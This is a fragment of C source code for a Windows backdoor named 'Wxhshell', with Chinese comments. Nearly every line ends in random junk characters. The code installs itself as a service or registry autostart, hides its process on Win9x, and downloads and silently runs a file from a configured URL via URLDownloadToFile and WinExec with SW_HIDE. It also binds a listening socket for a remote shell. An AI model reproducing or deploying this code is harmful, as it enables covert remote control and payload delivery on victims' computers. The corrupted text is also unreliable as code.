} PROCESS_BASIC_INFORMATION; a_zf*;
<.ZD.u
PROCNTQSIP NtQueryInformationProcess; Z^ .qX\<M
(rQ)0g@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
`ghNS
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Icx)+Mq
eI@G B
HANDLE hProcess; P!!:p2fo
PROCESS_BASIC_INFORMATION pbi; U%K gLg#
[4-u{Tu
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JmuoYl f|
if(NULL == hInst ) return 0; !
QKec
L>rW S-
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +D?Re%HI
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6?-,@e
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `a8 &7J(
?SX0e(+}}
if (!NtQueryInformationProcess) return 0; 1]aya(
,w,)n^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +$R%Vbd
if(!hProcess) return 0; 6-\C?w
A
N::.o+1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'EB5#
w69G6G(
CloseHandle(hProcess); ,U fB{BW
RPkOtRKL=w
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -];Hb'M.!e
if(hProcess==NULL) return 0; h:
zi8;(
E6xWo)`%5s
HMODULE hMod; hOe$h,E']
char procName[255]; q X]ej2
unsigned long cbNeeded; iJk/fvi
!6_tdZ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *jl_,0g]
{/XU[rn
CloseHandle(hProcess); 7mYBxE/
/?C6oj1
if(strstr(procName,"services")) return 1; // 以服务启动 ~{D:vj4>
o2^?D`Jr
return 0; // 注册表启动 tp b(.`G
} c#pVN](?
gWy2E;"a
// 主模块 aIE\B4w
int StartWxhshell(LPSTR lpCmdLine) eD N%p
{ GEAVc9V
SOCKET wsl; NTSKmCvQG
BOOL val=TRUE; {6*{P!H
int port=0; u"zQh|
struct sockaddr_in door; BtP*R,>
kN*\yH|
if(wscfg.ws_autoins) Install(); mh~n#bah
cx4'rK.
port=atoi(lpCmdLine); 0.!Q4bhD
5O"wPsl
if(port<=0) port=wscfg.ws_port; q?oJ=]m"
7
P]Sc
WSADATA data; +e)RT<
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l5_%Q+E_
]GPUL>7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q$2^m(?;
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wqp(E+&
door.sin_family = AF_INET; yGPi9j{QXq
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0'Qo eFKG
door.sin_port = htons(port);
\4&FW|mx
,lw<dB@7"5
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XJf1LGT5
closesocket(wsl); }UHoa
return 1; B9h>
} *!+?%e{;b
0 }aw9g
if(listen(wsl,2) == INVALID_SOCKET) { +luW=j0V
closesocket(wsl); 5$f*fMd;
return 1; ^
P=CoLFa
} HUY1nb=
Wxhshell(wsl); As*59jkB
WSACleanup(); Q_n9}LanP
y8\4TjS1
return 0; V~qlg1h
cx(b5Z
} zXg/.z]
qbdv
// 以NT服务方式启动 UkBr4{+aE
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qxglA*/
[
{ H>5@/0cL2
DWORD status = 0; K\>CXa
DWORD specificError = 0xfffffff; ic|>JX$G
y'pX/5R0
serviceStatus.dwServiceType = SERVICE_WIN32; #oD*H:%*
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^k}jPc6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #&c}in"!
serviceStatus.dwWin32ExitCode = 0; ^<O:`c6_
serviceStatus.dwServiceSpecificExitCode = 0; cc$+"7/J^c
serviceStatus.dwCheckPoint = 0; REwZ41
serviceStatus.dwWaitHint = 0; )*3sE1
VR_ bX|
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3:WXrOl
if (hServiceStatusHandle==0) return; qbe9 CF'@_
c6)q(zz
status = GetLastError(); &\o!-EIK8
if (status!=NO_ERROR) t^1c^RpTb
{ *S4*FH;8
serviceStatus.dwCurrentState = SERVICE_STOPPED; {pNf&'
serviceStatus.dwCheckPoint = 0; 9}6^5f?|
serviceStatus.dwWaitHint = 0; 2*1s(Jro
serviceStatus.dwWin32ExitCode = status; ~2*8pb 4
serviceStatus.dwServiceSpecificExitCode = specificError; gT6@0ANq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B%Spmx8
return; K%"cVqb2V
} 0UT2sM$
?QXo]X;f&
serviceStatus.dwCurrentState = SERVICE_RUNNING; D2}nJFR
]
serviceStatus.dwCheckPoint = 0; {CR'Z0
serviceStatus.dwWaitHint = 0; <U]#722
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L3-tD67oa
} :S5B3S@|
D;al(q
// 处理NT服务事件,比如:启动、停止 vMOit,{
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1JoRP~mMxa
{ 3 _tO
switch(fdwControl) Kr]`.@/.S
{ ,fwN_+5
case SERVICE_CONTROL_STOP: ?pv}~>
serviceStatus.dwWin32ExitCode = 0; GlVD!0
serviceStatus.dwCurrentState = SERVICE_STOPPED; -*EK-j
serviceStatus.dwCheckPoint = 0; KwiTnP!Dca
serviceStatus.dwWaitHint = 0; KD7RI3'?
{ xFY;aK
SetServiceStatus(hServiceStatusHandle, &serviceStatus); v+|N7
} m,U`hPJ
return; ctL@&~*nY
case SERVICE_CONTROL_PAUSE: 6"W~%FSJX
serviceStatus.dwCurrentState = SERVICE_PAUSED; 43Yav+G(+
break; 'L2M
W
case SERVICE_CONTROL_CONTINUE: }$ Am;%?p
serviceStatus.dwCurrentState = SERVICE_RUNNING; 6Hn3
break; `MtPua\_
case SERVICE_CONTROL_INTERROGATE: rE
bC_<
break; _KkLH\1g$
}; V4OhdcW{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /*bS~7f1
} ?Q]{d'g(sx
j [h4F"`-
// 标准应用程序主函数 _azg
0.)
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5Qik{cWxBq
{ 6 /Apdn1[
rnVh
]xJ
// 获取操作系统版本 h*Y);mc$#
OsIsNt=GetOsVer(); 8vM}moper
GetModuleFileName(NULL,ExeFile,MAX_PATH); Nd~?kZZu
#<bt}Tht
// 从命令行安装 @hiwq7[j
if(strpbrk(lpCmdLine,"iI")) Install(); <;.Zms${@
N}>XBZy
// 下载执行文件 mlY0G w_e
if(wscfg.ws_downexe) { 8_K22]c5
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q+[e)YO)
WinExec(wscfg.ws_filenam,SW_HIDE);
2Ek6YNx
} 0*"auGuX
\z<B=RT\
if(!OsIsNt) { v3+\Aq
// 如果时win9x,隐藏进程并且设置为注册表启动 <m80e),~
HideProc(); _n(NPFV
StartWxhshell(lpCmdLine); }xHoitOD
} ~: f9,
else 9psX"*s
if(StartFromService()) '@u/] ra:
// 以服务方式启动 9(Vq@.;Z`j
StartServiceCtrlDispatcher(DispatchTable); '@ M
else >yn%.Uoh@
// 普通方式启动 d9[*&[2J|
StartWxhshell(lpCmdLine); 0!rU,74I=
H'$g!Pg
return 0; XGEAcN
}